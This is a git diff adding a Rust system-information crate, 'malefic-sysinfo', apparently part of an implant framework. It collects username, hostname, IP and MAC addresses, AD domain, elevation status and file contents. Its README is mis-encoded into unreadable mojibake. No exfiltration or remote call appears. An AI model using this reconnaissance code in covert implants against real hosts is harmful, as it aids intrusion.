OS_ARCH.to_string(), + username: "".to_string(), + hostname: "".to_string(), + locale: "".to_string(), + clr_version: vec![], + }), + process: Some(Process { + name: "".to_string(), + pid: 0, + ppid: 0, + arch: OS_ARCH.to_string(), + owner: "".to_string(), + path: "".to_string(), + args: "".to_string(), + uid: "".to_string(), + }), + }) +} diff --git a/malefic-crates/sysinfo/Cargo.toml b/malefic-crates/sysinfo/Cargo.toml new file mode 100644 index 0000000..52332b6 --- /dev/null +++ b/malefic-crates/sysinfo/Cargo.toml @@ -0,0 +1,39 @@ +[package] +name = "malefic-sysinfo" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +clr = ["malefic-os-win/clr"] + +[dependencies] +anyhow = { workspace = true } +obfstr = { workspace = true } +sha2 = { workspace = true } +malefic-process = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_System_SystemInformation", + "Win32_System_Registry", + "Win32_System_Threading", + "Win32_Security", + "Win32_NetworkManagement_IpHelper", + "Win32_NetworkManagement_Ndis", + "Win32_Networking_WinSock", + "Win32_Networking_ActiveDirectory", + "Win32_NetworkManagement_NetManagement", + "Win32_System_Environment", + "Win32_Storage_FileSystem", + "Win32_System_WindowsProgramming", +] } + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } +nix = { workspace = true } +mac_address = "1.1" +malefic-common = { workspace = true } +malefic-net = { workspace = true } diff --git a/malefic-crates/sysinfo/README.md b/malefic-crates/sysinfo/README.md new file mode 100644 index 0000000..623de2c --- /dev/null +++ b/malefic-crates/sysinfo/README.md @@ -0,0 +1,87 @@ +# malefic-sysinfo + +跨平å°ç³»ç»Ÿä¿¡æ¯æ”¶é›†åº“,æä¾›ç»Ÿä¸€çš„ API èŽ·å–æ“作系统ã€ç”¨æˆ·ã€ç½‘ç»œåŠæ–‡ä»¶ç³»ç»Ÿç›¸å…³ä¿¡æ¯ã€‚ + +## 功能简介 + +- èŽ·å–æ“作系统åç§°ã€ç‰ˆæœ¬å·ã€å†…æ ¸ç‰ˆæœ¬ç­‰åŸºæœ¬ä¿¡æ¯ +- 获å–当å‰ç”¨æˆ·åã€ä¸»æœºåã€ç³»ç»Ÿè¯­è¨€/区域设置 +- 检测 CPU 架构(x86ã€x86_64ã€ARMã€ARM64 等) +- èŽ·å–æ‰€æœ‰ç½‘络适é…器的 IPv4 åœ°å€ +- 查询当å‰ä¸»æœºæ‰€å±žåŸŸå(Active Directory 域) +- 检测当å‰è¿›ç¨‹æ˜¯å¦å…·æœ‰ç®¡ç†å‘˜/root æƒé™ +- 枚举ç£ç›˜é©±åЍ噍åŠå…¶ç±»åž‹ï¼ˆWindows) +- 文件系统工具:工作目录ã€å¯æ‰§è¡Œæ–‡ä»¶è·¯å¾„ã€SHA-256 æ ¡éªŒå’Œã€æ–‡ä»¶æŸ¥æ‰¾ +- æ”¯æŒ Windowsã€Linuxã€macOSã€Android å››ä¸ªå¹³å° + +## Features + +| Feature | 说明 | +|---------|------| +| `clr` | å¯ç”¨ .NET CLR 版本检测(仅 Windows),收集已安装的 .NET è¿è¡Œæ—¶ç‰ˆæœ¬åˆ—表 | + +## 核心数æ®ç»“æž„ + +```rust +pub struct SysInfo { + pub workdir: String, // 当å‰å·¥ä½œç›®å½• + pub filepath: String, // 当å‰å¯æ‰§è¡Œæ–‡ä»¶è·¯å¾„ + pub os: Option, // æ“作系统信æ¯ï¼ˆåç§°ã€ç‰ˆæœ¬ã€æž¶æž„ã€ç”¨æˆ·åã€ä¸»æœºå等) + pub process: Option, // 当å‰è¿›ç¨‹ä¿¡æ¯ + pub is_privilege: bool, // æ˜¯å¦æ‹¥æœ‰ç®¡ç†å‘˜/root æƒé™ + pub ip_addresses: Vec, // 所有 IPv4 åœ°å€ + pub domain_name: String, // 域å +} +``` + +## 基本用法 + +```rust +use malefic_sysinfo::{get_sysinfo, is_privilege}; + +// 一次性获å–å…¨éƒ¨ç³»ç»Ÿä¿¡æ¯ +let info = get_sysinfo(); +println!("工作目录: {}", info.workdir); +println!("æƒé™æå‡: {}", info.is_privilege); +println!("IP 地å€: {:?}", info.ip_addresses); +println!("域å: {}", info.domain_name); + +if let Some(os) = &info.os { + println!("{} {} ({})", os.name, os.version, os.arch); +} + +// 也å¯ä»¥å•独调用å„函数 +let user = malefic_sysinfo::username(); +let host = malefic_sysinfo::hostname(); +let arch = malefic_sysinfo::arch(); +``` + +### 文件系统工具 + +```rust +use malefic_sysinfo::filesys; + +// 计算文件 SHA-256 校验和 +let hash = filesys::check_sum("/path/to/file").unwrap(); + +// 在 PATH ä¸­æŸ¥æ‰¾å¯æ‰§è¡Œæ–‡ä»¶ +let path = filesys::lookup("notepad"); + +// è¯»å–æ–‡ä»¶äºŒè¿›åˆ¶å†…容 +let (bytes, filename) = filesys::get_binary("target.exe").unwrap(); +``` + +## å¹³å°å®žçް + +| æ¨¡å— | Windows | Linux/Android | macOS | +|------|---------|---------------|-------| +| `whoami` | Win32 API + 注册表 | `/etc/os-release` + libc | sysctl + libc | +| `ipconfig` | `GetAdaptersAddresses` | 读å–ç½‘ç»œæŽ¥å£ | 读å–ç½‘ç»œæŽ¥å£ | +| `domain` | `DsGetDcNameW` (AD) | è§£æžé…置文件 | è§£æžé…置文件 | +| `driver` | `GetLogicalDriveStringsW` | — | — | + +## å‚考链接 + +- [Windows Win32 System Information API](https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/) +- [Windows IP Helper API](https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/) +- [Windows Active Directory API](https://learn.microsoft.com/en-us/windows/win32/api/dsgetdc/) diff --git a/malefic-crates/sysinfo/src/darwin/domain.rs b/malefic-crates/sysinfo/src/darwin/domain.rs new file mode 100644 index 0000000..56fe3d1 --- /dev/null +++ b/malefic-crates/sysinfo/src/darwin/domain.rs @@ -0,0 +1,3 @@ +pub fn get_domain() -> String { + String::new() +} diff --git a/malefic-crates/sysinfo/src/darwin/ipconfig.rs b/malefic-crates/sysinfo/src/darwin/ipconfig.rs new file mode 100644 index 0000000..da77cf6 --- /dev/null +++ b/malefic-crates/sysinfo/src/darwin/ipconfig.rs @@ -0,0 +1,122 @@ +use malefic_common::errors::CommonError; +use malefic_common::to_error; +use malefic_net::NetInterface; +use nix::ifaddrs::getifaddrs; +use nix::net::if_::InterfaceFlags; +use nix::sys::socket::{SockaddrLike, SockaddrStorage}; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; + +/// Get all network interfaces with basic information (macOS/Darwin) +pub fn get_network_interfaces() -> Result, CommonError> { + let mut interfaces = std::collections::HashMap::new(); + + let addrs = to_error!(getifaddrs())?; + + for (index, addr) in addrs.enumerate() { + let name = addr.interface_name.clone(); + let flags = addr.flags; + + // Skip loopback interfaces + if flags.contains(InterfaceFlags::IFF_LOOPBACK) { + continue; + } + + // Skip interfaces that are down + if !flags.contains(InterfaceFlags::IFF_UP) { + continue; + } + + let entry = interfaces + .entry(name.clone()) + .or_insert_with(|| NetInterface { + index: index as u32, + name: name.clone(), + mac: String::new(), + ips: Vec::new(), + }); + + if let Some(sockaddr) = addr.address { + if let Some(ip_addr) = extract_ip_from_sockaddr(sockaddr) { + entry.ips.push(ip_addr.to_string()); + } + } + } + + // Get MAC addresses + for (name, interface) in interfaces.iter_mut() { + interface.mac = get_mac_address(name); + } + + let result: Vec = interfaces.into_values().collect(); + debug!("Found {} network interfaces", result.len()); + Ok(result) +} + +/// Get only IPv4 addresses (non-loopback) +pub fn get_ipv4_addresses() -> Vec { + match get_network_interfaces() { + Ok(interfaces) => { + let mut ipv4_addresses = Vec::new(); + for interface in interfaces { + for ip_str in interface.ips { + if let Ok(ip) = ip_str.parse::() { + if let IpAddr::V4(ipv4) = ip { + ipv4_addresses.push(ipv4.to_string()); + } + } + } + } + ipv4_addresses + } + Err(e) => { + debug!("Failed to get IPv4 addresses: {}", e); + Vec::new() + } + } +} + +/// Legacy method for compatibility +pub fn get_ip_addresses() -> Vec { + get_ipv4_addresses() + .into_iter() + .map(|ip| ip.to_string()) + .collect() +} + +/// Extract IP address from sockaddr +fn extract_ip_from_sockaddr(sockaddr: SockaddrStorage) -> Option { + match sockaddr.family() { + Some(nix::sys::socket::AddressFamily::Inet) => { + if let Some(inet_addr) = sockaddr.as_sockaddr_in() { + let ip = inet_addr.ip(); + return Some(IpAddr::V4(Ipv4Addr::from(ip))); + } + } + Some(nix::sys::socket::AddressFamily::Inet6) => { + if let Some(inet6_addr) = sockaddr.as_sockaddr_in6() { + let ip = inet6_addr.ip(); + return Some(IpAddr::V6(Ipv6Addr::from(ip))); + } + } + _ => {} + } + None +} + +/// Get MAC address using the mac_address crate (cross-platform and reliable) +fn get_mac_address(interface_name: &str) -> String { + match mac_address::mac_address_by_name(interface_name) { + Ok(Some(mac)) => { + format!( + "{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", + mac.bytes()[0], + mac.bytes()[1], + mac.bytes()[2], + mac.bytes()[3], + mac.bytes()[4], + mac.bytes()[5] + ) + } + _ => String::new(), + } +} diff --git a/malefic-crates/sysinfo/src/darwin/mod.rs b/malefic-crates/sysinfo/src/darwin/mod.rs new file mode 100644 index 0000000..88ac84e --- /dev/null +++ b/malefic-crates/sysinfo/src/darwin/mod.rs @@ -0,0 +1,3 @@ +pub mod domain; +pub mod ipconfig; +pub mod whoami; diff --git a/malefic-crates/sysinfo/src/darwin/whoami.rs b/malefic-crates/sysinfo/src/darwin/whoami.rs new file mode 100644 index 0000000..a020dbd --- /dev/null +++ b/malefic-crates/sysinfo/src/darwin/whoami.rs @@ -0,0 +1,253 @@ +use libc::{c_int, c_void, sysctl, timeval}; +use std::ffi::{CStr, OsString}; +use std::mem; +use std::ptr; + +pub fn username() -> Option { + std::env::var_os("USER") +} + +pub fn hostname() -> Option { + get_system_info(libc::KERN_HOSTNAME, None).map(OsString::from) +} + +pub fn lang() -> Option { + std::env::var("LANG") + .or_else(|_| std::env::var("LANGUAGE")) + .ok() +} + +pub fn name() -> Option { + get_system_info(libc::KERN_OSTYPE, Some("Darwin")) +} + +pub fn os_version() -> Option { + unsafe { + let mut size = 0; + if get_sys_value_by_name(b"kern.osproductversion\0", &mut size, ptr::null_mut()) && size > 0 + { + let mut buf = vec![0_u8; size as _]; + if get_sys_value_by_name( + b"kern.osproductversion\0", + &mut size, + buf.as_mut_ptr() as *mut c_void, + ) { + if let Some(pos) = buf.iter().position(|x| *x == 0) { + buf.resize(pos, 0); + } + String::from_utf8(buf).ok() + } else { + None + } + } else { + None + } + } +} + +pub fn kernel_version() -> Option { + get_system_info(libc::KERN_OSRELEASE, None) +} + +pub fn long_os_version() -> Option { + let os_version = os_version()?; + // https://en.wikipedia.org/wiki/MacOS_version_history + for (version_prefix, macos_spelling, friendly_name) in [ + ("15", "macOS", "Sequoia"), + ("14", "macOS", "Sonoma"), + ("13", "macOS", "Ventura"), + ("12", "macOS", "Monterey"), + ("11", "macOS", "Big Sur"), + ("10.16", "macOS", "Big Sur"), + ("10.15", "macOS", "Catalina"), + ("10.14", "macOS", "Mojave"), + ("10.13", "macOS", "High Sierra"), + ("10.12", "macOS", "Sierra"), + ("10.11", "OS X", "El Capitan"), + ("10.10", "OS X", "Yosemite"), + ("10.9", "OS X", "Mavericks"), + ("10.8", "OS X", "Mountain Lion"), + ("10.7", "Mac OS X", "Lion"), + ("10.6", "Mac OS X", "Snow Leopard"), + ("10.5", "Mac OS X", "Leopard"), + ("10.4", "Mac OS X", "Tiger"), + ("10.3", "Mac OS X", "Panther"), + ("10.2", "Mac OS X", "Jaguar"), + ("10.1", "Mac OS X", "Puma"), + ("10.0", "Mac OS X", "Cheetah"), + ] { + if os_version.starts_with(version_prefix) { + return Some(format!("{macos_spelling} {os_version} {friendly_name}")); + } + } + Some(format!("macOS {os_version}")) +} + +pub fn distribution_id() -> String { + std::env::consts::OS.to_owned() +} + +pub fn cpu_arch() -> Option { + let mut arch_str: [u8; 32] = [0; 32]; + let mut mib = [libc::CTL_HW as _, libc::HW_MACHINE as _]; + + unsafe { + if get_sys_value( + mem::size_of::<[u8; 32]>(), + arch_str.as_mut_ptr() as *mut _, + &mut mib, + ) { + CStr::from_bytes_until_nul(&arch_str) + .ok() + .and_then(|res| res.to_str().ok()) + .map(String::from) + } else { + None + } + } +} + +pub fn physical_core_count() -> Option { + let mut mib = [libc::CTL_HW as _, libc::HW_NCPU as _]; + let mut size = mem::size_of::(); + let mut count: u32 = 0; + + unsafe { + if get_sys_value(size, &mut count as *mut _ as *mut _, &mut mib) { + Some(count as usize) + } else { + None + } + } +} + +pub fn uptime() -> u64 { + unsafe { + let csec = libc::time(ptr::null_mut()); + libc::difftime(csec, boot_time() as _) as u64 + } +} + +pub fn boot_time() -> u64 { + let mut boot_time = timeval { + tv_sec: 0, + tv_usec: 0, + }; + let mut len = mem::size_of::(); + let mut mib: [c_int; 2] = [libc::CTL_KERN, libc::KERN_BOOTTIME]; + + unsafe { + if sysctl( + mib.as_mut_ptr(), + mib.len() as _, + &mut boot_time as *mut timeval as *mut _, + &mut len, + ptr::null_mut(), + 0, + ) < 0 + { + 0 + } else { + boot_time.tv_sec as _ + } + } +} + +fn get_system_info(value: c_int, default: Option<&str>) -> Option { + let mut mib: [c_int; 2] = [libc::CTL_KERN, value]; + let mut size = 0; + + unsafe { + sysctl( + mib.as_mut_ptr(), + mib.len() as _, + ptr::null_mut(), + &mut size, + ptr::null_mut(), + 0, + ); + + if size == 0 { + return default.map(String::from); + } + + let mut buf = vec![0_u8; size as _]; + if sysctl( + mib.as_mut_ptr(), + mib.len() as _, + buf.as_mut_ptr() as _, + &mut size, + ptr::null_mut(), + 0, + ) == -1 + { + default.map(String::from) + } else { + if let Some(pos) = buf.iter().position(|x| *x == 0) { + buf.resize(pos, 0); + } + String::from_utf8(buf).ok() + } + } +} + +unsafe fn get_sys_value(length: usize, value: *mut c_void, mib: &mut [c_int]) -> bool { + let mut len = length; + sysctl( + mib.as_mut_ptr(), + mib.len() as _, + value, + &mut len, + ptr::null_mut(), + 0, + ) == 0 +} + +unsafe fn get_sys_value_by_name(name: &[u8], length: &mut usize, value: *mut c_void) -> bool { + libc::sysctlbyname(name.as_ptr() as *const _, value, length, ptr::null_mut(), 0) == 0 +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_username() { + let result = username(); + assert!(result.is_some(), "Username should be retrievable"); + assert!(!result.unwrap().is_empty(), "Username should not be empty"); + } + + #[test] + fn test_hostname() { + let result = hostname(); + assert!(result.is_some(), "Hostname should be retrievable"); + assert!(!result.unwrap().is_empty(), "Hostname should not be empty"); + } + + #[test] + fn test_lang() { + println!("Current language: {:?}", lang()); + } + + #[test] + fn test_os_info() { + println!("OS Name: {:?}", name()); + println!("OS Version: {:?}", os_version()); + println!("Kernel Version: {:?}", kernel_version()); + println!("Long OS Version: {:?}", long_os_version()); + println!("Distribution ID: {}", distribution_id()); + println!("CPU Architecture: {:?}", cpu_arch()); + } + + #[test] + fn test_physical_core_count() { + println!("Physical Core Count: {:?}", physical_core_count()); + } + + #[test] + fn test_time_info() { + println!("Uptime: {}", uptime()); + println!("Boot Time: {}", boot_time()); + } +} diff --git a/malefic-crates/sysinfo/src/filesys.rs b/malefic-crates/sysinfo/src/filesys.rs new file mode 100644 index 0000000..6636ccb --- /dev/null +++ b/malefic-crates/sysinfo/src/filesys.rs @@ -0,0 +1,138 @@ +use std::path::{Path, PathBuf}; +use std::{env, io}; + +#[cfg(target_family = "unix")] +pub fn chown(path: &str, uid: u32, gid: u32) -> std::io::Result<()> { + use std::os::unix::ffi::OsStrExt; + let path = Path::new(path); + let ret = unsafe { libc::chown(path.as_os_str().as_bytes().as_ptr() as _, uid, gid) }; + if ret.eq(&0) { + Ok(()) + } else { + Err(std::io::Error::last_os_error()) + } +} + +#[cfg(target_family = "unix")] +pub fn chmod(path: &str, mode: u32) -> std::io::Result<()> { + use std::os::unix::fs::PermissionsExt; + let path = std::path::Path::new(path); + let mut permissions = path.metadata()?.permissions(); + permissions.set_mode(mode); + std::fs::set_permissions(path, permissions) +} + +pub fn check_sum(path: &str) -> std::io::Result { + use sha2::{Digest, Sha256}; + use std::fs::File; + use std::io::{BufReader, Read}; + + let file = File::open(path)?; + let mut reader = BufReader::new(file); + let mut hasher = Sha256::new(); + let mut buffer = [0; 1024]; + loop { + let n = reader.read(&mut buffer)?; + if n == 0 { + break; + } + hasher.update(&buffer[..n]); + } + + Ok(format!("{:x}", hasher.finalize())) +} + +pub fn check_sum_bytes(bytes: &[u8]) -> std::io::Result { + use sha2::{Digest, Sha256}; + let mut hasher = Sha256::new(); + hasher.update(bytes); + Ok(format!("{:x}", hasher.finalize())) +} + +pub fn check_sum_read(reader: &mut R) -> std::io::Result { + use sha2::{Digest, Sha256}; + let mut hasher = Sha256::new(); + let mut buffer = [0u8; 4096]; + loop { + let n = reader.read(&mut buffer)?; + if n == 0 { + break; + } + hasher.update(&buffer[..n]); + } + Ok(format!("{:x}", hasher.finalize())) +} + +pub fn get_cwd() -> Result { + let path = env::current_dir()?; + Ok(path.display().to_string()) +} + +pub fn get_executable_path() -> Result { + let path = env::current_exe()?; + Ok(path.display().to_string()) +} + +#[cfg(target_os = "windows")] +pub fn get_file_mode(meta: &dyn std::os::windows::fs::MetadataExt) -> u32 { + meta.file_attributes() +} + +#[cfg(target_family = "unix")] +pub fn get_file_mode(meta: &std::fs::Metadata) -> u32 { + use std::os::unix::fs::PermissionsExt; + meta.permissions().mode() +} + +pub fn lookup(file_name: &str) -> PathBuf { + let mut path = PathBuf::from(file_name); + + #[cfg(windows)] + { + if path.extension().is_none() { + path.set_extension("exe"); + } + } + + if path.is_absolute() { + return path.to_path_buf(); + } + + if let Ok(current_dir) = env::current_dir() { + let relative_path = current_dir.join(&path); + if relative_path.is_file() { + return relative_path; + } + } + + if let Ok(path_env) = env::var("PATH") { + #[cfg(windows)] + let separator = ';'; + #[cfg(not(windows))] + let separator = ':'; + + for dir in path_env.split(separator) { + let executable_path = Path::new(dir).join(&path); + if executable_path.is_file() { + return executable_path; + } + } + } + + Path::new(file_name).to_path_buf() +} + +pub fn get_binary(file: &str) -> anyhow::Result<(Vec, String)> { + let path = lookup(file); + + let file_name = path + .file_name() + .ok_or_else(|| anyhow::anyhow!("not found file"))? + .to_str() + .ok_or_else(|| anyhow::anyhow!("invalid UTF-8 in file name"))? + .to_string(); + + let content = std::fs::read(&path)?; + + Ok((content, file_name)) +} diff --git a/malefic-crates/sysinfo/src/lib.rs b/malefic-crates/sysinfo/src/lib.rs new file mode 100644 index 0000000..fc25b76 --- /dev/null +++ b/malefic-crates/sysinfo/src/lib.rs @@ -0,0 +1,171 @@ +macro_rules! debug { + ($($arg:tt)*) => { + #[cfg(debug_assertions)] + eprintln!($($arg)*); + }; +} + +pub mod filesys; + +#[cfg(target_os = "macos")] +pub mod darwin; +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +#[cfg(target_os = "macos")] +use darwin::{domain, ipconfig, whoami}; +#[cfg(any(target_os = "linux", target_os = "android"))] +use linux::{domain, ipconfig, whoami}; +#[cfg(target_os = "windows")] +use win::{domain, ipconfig, whoami}; + +pub fn name() -> String { + whoami::name().unwrap_or_default() +} + +pub fn release() -> String { + whoami::kernel_version().unwrap_or_default() +} + +pub fn username() -> String { + whoami::username() + .unwrap_or_default() + .to_string_lossy() + .to_string() +} + +pub fn version() -> String { + whoami::os_version().unwrap_or_default() +} + +pub fn hostname() -> String { + whoami::hostname() + .unwrap_or_default() + .to_string_lossy() + .to_string() +} + +pub fn arch() -> String { + whoami::cpu_arch().unwrap_or_default() +} + +pub fn language() -> String { + whoami::lang().unwrap_or_default() +} + +pub fn gid() -> String { + #[cfg(target_family = "unix")] + { + return unsafe { libc::getgid().to_string() }; + } + #[allow(unreachable_code)] + "".to_string() +} + +pub struct Os { + pub name: String, + pub version: String, + pub release: String, + pub arch: String, + pub username: String, + pub hostname: String, + pub locale: String, + pub clr_version: Vec, +} + +pub fn default_os() -> Option { + Some(Os { + name: name(), + version: version(), + release: release(), + arch: arch(), + username: username(), + hostname: hostname(), + locale: language(), + clr_version: { + #[cfg(all(target_os = "windows", feature = "clr"))] + { + win::clr::clr_version() + } + #[cfg(not(all(target_os = "windows", feature = "clr")))] + { + vec![] + } + }, + }) +} + +pub fn is_privilege() -> bool { + #[cfg(target_os = "windows")] + { + // Inline privilege check to avoid depending on the full token module + use std::ffi::c_void; + use windows::Win32::Foundation::CloseHandle; + use windows::Win32::Security::{ + GetTokenInformation, TokenElevation, TOKEN_ELEVATION, TOKEN_QUERY, + }; + use windows::Win32::System::Threading::GetCurrentProcessId; + use windows::Win32::System::Threading::OpenProcess; + use windows::Win32::System::Threading::OpenProcessToken; + + unsafe { + let pid = GetCurrentProcessId(); + let Ok(h_process) = OpenProcess( + windows::Win32::System::Threading::PROCESS_QUERY_INFORMATION, + false, + pid, + ) else { + return false; + }; + let mut h_token = windows::Win32::Foundation::HANDLE::default(); + if OpenProcessToken(h_process, TOKEN_QUERY, &mut h_token).is_err() { + let _ = CloseHandle(h_process); + return false; + } + let mut elevation: TOKEN_ELEVATION = std::mem::zeroed(); + let mut size: u32 = 0; + let result = GetTokenInformation( + h_token, + TokenElevation, + Some(&mut elevation as *mut _ as *mut c_void), + std::mem::size_of::() as u32, + &mut size, + ) + .is_ok() + && elevation.TokenIsElevated != 0; + let _ = CloseHandle(h_token); + let _ = CloseHandle(h_process); + return result; + } + } + #[cfg(not(target_os = "windows"))] + { + return unsafe { libc::geteuid() == 0 }; + } +} + +pub struct SysInfo { + pub workdir: String, + pub filepath: String, + pub os: Option, + pub process: Option, + pub is_privilege: bool, + pub ip_addresses: Vec, + pub domain_name: String, +} + +pub fn get_sysinfo() -> SysInfo { + let ip_addresses = ipconfig::get_ipv4_addresses(); + + SysInfo { + workdir: crate::filesys::get_cwd().unwrap_or_else(|e| e.to_string()), + filepath: crate::filesys::get_executable_path().unwrap_or_else(|e| e.to_string()), + os: default_os(), + process: malefic_process::get_current_process(), + is_privilege: is_privilege(), + ip_addresses, + domain_name: domain::get_domain(), + } +} diff --git a/malefic-crates/sysinfo/src/linux/domain.rs b/malefic-crates/sysinfo/src/linux/domain.rs new file mode 100644 index 0000000..302c402 --- /dev/null +++ b/malefic-crates/sysinfo/src/linux/domain.rs @@ -0,0 +1,5 @@ +use std::fs; + +pub fn get_domain() -> String { + String::new() +} diff --git a/malefic-crates/sysinfo/src/linux/ipconfig.rs b/malefic-crates/sysinfo/src/linux/ipconfig.rs new file mode 100644 index 0000000..8595e17 --- /dev/null +++ b/malefic-crates/sysinfo/src/linux/ipconfig.rs @@ -0,0 +1,136 @@ +use malefic_common::errors::CommonError; +use malefic_common::to_error; +use malefic_net::NetInterface; +use nix::ifaddrs::getifaddrs; +use nix::net::if_::InterfaceFlags; +use nix::sys::socket::{SockaddrLike, SockaddrStorage}; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; + +/// Get all network interfaces with basic information (Linux) +pub fn get_network_interfaces() -> Result, CommonError> { + let mut interfaces = std::collections::HashMap::new(); + + let addrs = to_error!(getifaddrs())?; + + for (index, addr) in addrs.enumerate() { + let name = addr.interface_name.clone(); + let flags = addr.flags; + + // Skip loopback interfaces + if flags.contains(InterfaceFlags::IFF_LOOPBACK) { + continue; + } + + // Skip interfaces that are down + if !flags.contains(InterfaceFlags::IFF_UP) { + continue; + } + + let entry = interfaces + .entry(name.clone()) + .or_insert_with(|| NetInterface { + index: index as u32, + name: name.clone(), + mac: String::new(), + ips: Vec::new(), + }); + + if let Some(sockaddr) = addr.address { + if let Some(ip_addr) = extract_ip_from_sockaddr(sockaddr) { + entry.ips.push(ip_addr.to_string()); + } + } + } + + // Get MAC addresses + for (name, interface) in interfaces.iter_mut() { + interface.mac = get_mac_address(name); + } + + let result: Vec = interfaces.into_values().collect(); + debug!("Found {} network interfaces", result.len()); + Ok(result) +} + +/// Get only IPv4 addresses (non-loopback) +pub fn get_ipv4_addresses() -> Vec { + match get_network_interfaces() { + Ok(interfaces) => { + let mut ipv4_addresses = Vec::new(); + for interface in interfaces { + for ip_str in interface.ips { + if let Ok(ip) = ip_str.parse::() { + if let IpAddr::V4(ipv4) = ip { + ipv4_addresses.push(ipv4.to_string()); + } + } + } + } + ipv4_addresses + } + Err(e) => { + debug!("Failed to get IPv4 addresses: {}", e); + Vec::new() + } + } +} + +/// Legacy method for compatibility +pub fn get_ip_addresses() -> Vec { + get_ipv4_addresses() + .into_iter() + .map(|ip| ip.to_string()) + .collect() +} + +/// Extract IP address from sockaddr +fn extract_ip_from_sockaddr(sockaddr: SockaddrStorage) -> Option { + match sockaddr.family() { + Some(nix::sys::socket::AddressFamily::Inet) => { + if let Some(inet_addr) = sockaddr.as_sockaddr_in() { + let ip = inet_addr.ip(); + return Some(IpAddr::V4(Ipv4Addr::from(ip))); + } + } + Some(nix::sys::socket::AddressFamily::Inet6) => { + if let Some(inet6_addr) = sockaddr.as_sockaddr_in6() { + let ip = inet6_addr.ip(); + return Some(IpAddr::V6(Ipv6Addr::from(ip))); + } + } + _ => {} + } + None +} + +/// Get MAC address using the mac_address crate (cross-platform and reliable) +fn get_mac_address(interface_name: &str) -> String { + match mac_address::mac_address_by_name(interface_name) { + Ok(Some(mac)) => { + format!( + "{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", + mac.bytes()[0], + mac.bytes()[1], + mac.bytes()[2], + mac.bytes()[3], + mac.bytes()[4], + mac.bytes()[5] + ) + } + _ => { + // Fallback to Linux sysfs method + get_mac_address_sysfs(interface_name) + } + } +} + +/// Fallback method using Linux sysfs +fn get_mac_address_sysfs(interface: &str) -> String { + use std::fs; + let path = format!("/sys/class/net/{}/address", interface); + fs::read_to_string(path) + .ok() + .map(|content| content.trim().to_string()) + .filter(|mac| mac != "00:00:00:00:00:00") + .unwrap_or_else(String::new) +} diff --git a/malefic-crates/sysinfo/src/linux/mod.rs b/malefic-crates/sysinfo/src/linux/mod.rs new file mode 100644 index 0000000..88ac84e --- /dev/null +++ b/malefic-crates/sysinfo/src/linux/mod.rs @@ -0,0 +1,3 @@ +pub mod domain; +pub mod ipconfig; +pub mod whoami; diff --git a/malefic-crates/sysinfo/src/linux/whoami.rs b/malefic-crates/sysinfo/src/linux/whoami.rs new file mode 100644 index 0000000..347cb47 --- /dev/null +++ b/malefic-crates/sysinfo/src/linux/whoami.rs @@ -0,0 +1,229 @@ +use std::ffi::{CStr, OsString}; +use std::fs; +use std::os::unix::ffi::OsStringExt; + +pub fn username() -> Option { + std::env::var_os("USER").or_else(|| unsafe { + let uid = libc::geteuid(); + let mut result = std::ptr::null_mut(); + let mut passwd = std::mem::MaybeUninit::uninit(); + let mut buf = vec![0u8; 2048]; + + let ret = libc::getpwuid_r( + uid, + passwd.as_mut_ptr(), + buf.as_mut_ptr() as *mut libc::c_char, + buf.len(), + &mut result, + ); + + if ret == 0 && !result.is_null() { + let passwd = passwd.assume_init(); + if !passwd.pw_name.is_null() { + return Some(OsString::from_vec( + CStr::from_ptr(passwd.pw_name).to_bytes().to_vec(), + )); + } + } + None + }) +} + +pub fn hostname() -> Option { + let mut buffer = vec![0u8; 256]; + unsafe { + if libc::gethostname(buffer.as_mut_ptr() as *mut libc::c_char, buffer.len()) == 0 { + let hostname = CStr::from_ptr(buffer.as_ptr() as *const libc::c_char); + Some(OsString::from_vec(hostname.to_bytes().to_vec())) + } else { + None + } + } +} + +pub fn lang() -> Option { + std::env::var("LANG") + .or_else(|_| std::env::var("LANGUAGE")) + .ok() +} + +pub fn name() -> Option { + fs::read_to_string("/etc/os-release") + .ok() + .and_then(|content| { + content + .lines() + .find(|line| line.starts_with("NAME=")) + .map(|line| { + line.trim_start_matches("NAME=") + .trim_matches('"') + .to_string() + }) + }) + .or_else(|| Some("Linux".to_string())) +} + +pub fn os_version() -> Option { + fs::read_to_string("/etc/os-release") + .ok() + .and_then(|content| { + content + .lines() + .find(|line| line.starts_with("VERSION_ID=")) + .map(|line| { + line.trim_start_matches("VERSION_ID=") + .trim_matches('"') + .to_string() + }) + }) +} + +pub fn kernel_version() -> Option { + let mut uts = unsafe { std::mem::zeroed() }; + if unsafe { libc::uname(&mut uts) } == 0 { + let release = unsafe { CStr::from_ptr(uts.release.as_ptr()) }; + release.to_str().ok().map(String::from) + } else { + None + } +} + +pub fn long_os_version() -> Option { + fs::read_to_string("/etc/os-release") + .ok() + .and_then(|content| { + let name = content + .lines() + .find(|line| line.starts_with("NAME=")) + .map(|line| { + line.trim_start_matches("NAME=") + .trim_matches('"') + .to_string() + }); + let version = content + .lines() + .find(|line| line.starts_with("VERSION=")) + .map(|line| { + line.trim_start_matches("VERSION=") + .trim_matches('"') + .to_string() + }); + match (name, version) { + (Some(name), Some(version)) => Some(format!("{} {}", name, version)), + (Some(name), None) => Some(name), + _ => None, + } + }) +} + +pub fn distribution_id() -> String { + fs::read_to_string("/etc/os-release") + .ok() + .and_then(|content| { + content + .lines() + .find(|line| line.starts_with("ID=")) + .map(|line| line.trim_start_matches("ID=").trim_matches('"').to_string()) + }) + .unwrap_or_else(|| "linux".to_string()) +} + +pub fn cpu_arch() -> Option { + let mut uts = unsafe { std::mem::zeroed() }; + if unsafe { libc::uname(&mut uts) } == 0 { + let machine = unsafe { CStr::from_ptr(uts.machine.as_ptr()) }; + machine.to_str().ok().map(String::from) + } else { + None + } +} + +pub fn physical_core_count() -> Option { + fs::read_to_string("/proc/cpuinfo") + .ok() + .and_then(|content| { + let count = content + .lines() + .filter(|line| line.starts_with("processor")) + .count(); + if count > 0 { + 